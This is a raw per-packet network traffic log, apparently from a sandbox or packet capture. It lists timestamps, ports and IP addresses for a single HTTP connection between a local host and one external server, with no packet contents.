Dec 27, 2024 08:50:57.933253050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.933288097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.933307886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.933398962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.933432102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.933594942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.933656931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.933684111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.933705091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.933744907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.933790922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.934416056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.934484959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.934504032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.934561014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.934592962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.934623957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.935214996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.935241938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.935257912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.935288906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.935354948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.935437918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.936009884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.936036110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.936050892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.936073065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.936105013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.936151981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.939754009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.974705935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.974750042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.974766016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.974792004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.974891901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.975060940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.975150108 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.975167036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.975265026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.975281000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.975385904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.975809097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.975862026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.975878000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.975960970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.976012945 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.976612091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.976660013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.976680040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.976749897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.976778984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.976943970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.977426052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.977478027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.977494955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.977513075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.977571011 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.978192091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.978216887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.978236914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.978252888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.978331089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.978347063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.978434086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.979089975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.979186058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.979202032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.979209900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.979736090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.979788065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.979827881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.979844093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.979903936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.979995966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.980547905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.980617046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.980633020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.980676889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.980726004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.980953932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.981348991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.981368065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.981384993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.981475115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.981543064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.981998920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.982148886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.982186079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.982203007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.982251883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.982351065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.982496023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.982903957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.982971907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.982988119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.983072042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.983099937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.983175039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.983691931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.983769894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.983786106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.983845949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.983875990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.983985901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.984482050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.984544992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.984560966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.984622002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.984780073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.985045910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.985291958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.985342979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.985358953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.985451937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.985511065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.985586882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.986093044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.986143112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.986160040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.986222982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.986234903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.986336946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:57.986846924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.986876011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.986891985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:57.986994982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.072601080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.072638988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.072658062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.072689056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.072721004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.072863102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.072916985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.072959900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.072983027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.073060989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.079659939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.079703093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.079720020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.079770088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.079787016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.079828024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.079979897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.080007076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.080023050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.080079079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.080104113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.080552101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.080580950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.080598116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.080638885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.080708027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.080945015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.081301928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.081329107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.081343889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.081379890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.131143093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.134685040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.134720087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.134737015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.134782076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.134809971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.135029078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.135034084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.135070086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.135085106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.135168076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.135174990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.135279894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.135889053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.135941029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.135957003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.136074066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.136075020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.136157036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.136590004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.136627913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.136642933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.136704922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.136733055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.136822939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.137418032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.137430906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.137444019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.137502909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.137541056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.137690067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.165219069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.176151991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.176171064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.176183939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.176234007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.176245928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.176467896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.176537991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.176552057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.176592112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.176592112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.176620960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.177107096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.177253008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.177299976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.177314043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.177382946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.177390099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.177479029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.178030014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.178092957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.178105116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.178158045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.178183079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.178224087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.178826094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.178869963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.178884029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.178936958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.178975105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.179112911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.179615021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.179661036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.179672956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.179713964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.179747105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.179824114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.180399895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.180450916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.180464983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.180530071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.180537939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.180593967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.181189060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.181227922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.181250095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.181334972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.181353092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.181509972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.181973934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.182018995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.182033062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.182096958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.182111979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.182290077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.182780981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.182795048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.182806969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.182852983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.182898045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.183063030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.183546066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.183578014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.183590889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.183671951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.183679104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.183792114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.184344053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.184415102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.184428930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.184470892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.184505939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.184568882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.185132027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.185214043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.185231924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.185252905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.185286045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.185303926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.185987949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.186002016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.186013937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.186069012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.186108112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.186108112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.186693907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.186748981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.186760902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.186798096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.186829090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.187011957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.187484980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.187553883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.187566996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.187625885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.187637091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.187752008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.188297987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.188337088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.188349962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.188441038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.240473986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.274183035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.274249077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.274262905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.274375916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.274394035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.274446964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.274560928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.274590969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.274604082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.274636030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.281034946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.281065941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.281080008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.281096935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.281127930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.281347990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.281367064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.281382084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.281395912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.281443119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.281443119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.281497002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.282221079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.282233953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.282253981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.282267094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.282286882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.282304049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.282926083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.282973051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.282989025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.334209919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.335954905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336000919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336013079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336112022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336138010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336148977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.336153030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336173058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.336213112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.336782932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336843014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336855888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.336906910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.336921930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.337090969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.337574959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.337625027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.337637901 CET	80	49752	185.215.113.16	192.168.2.6
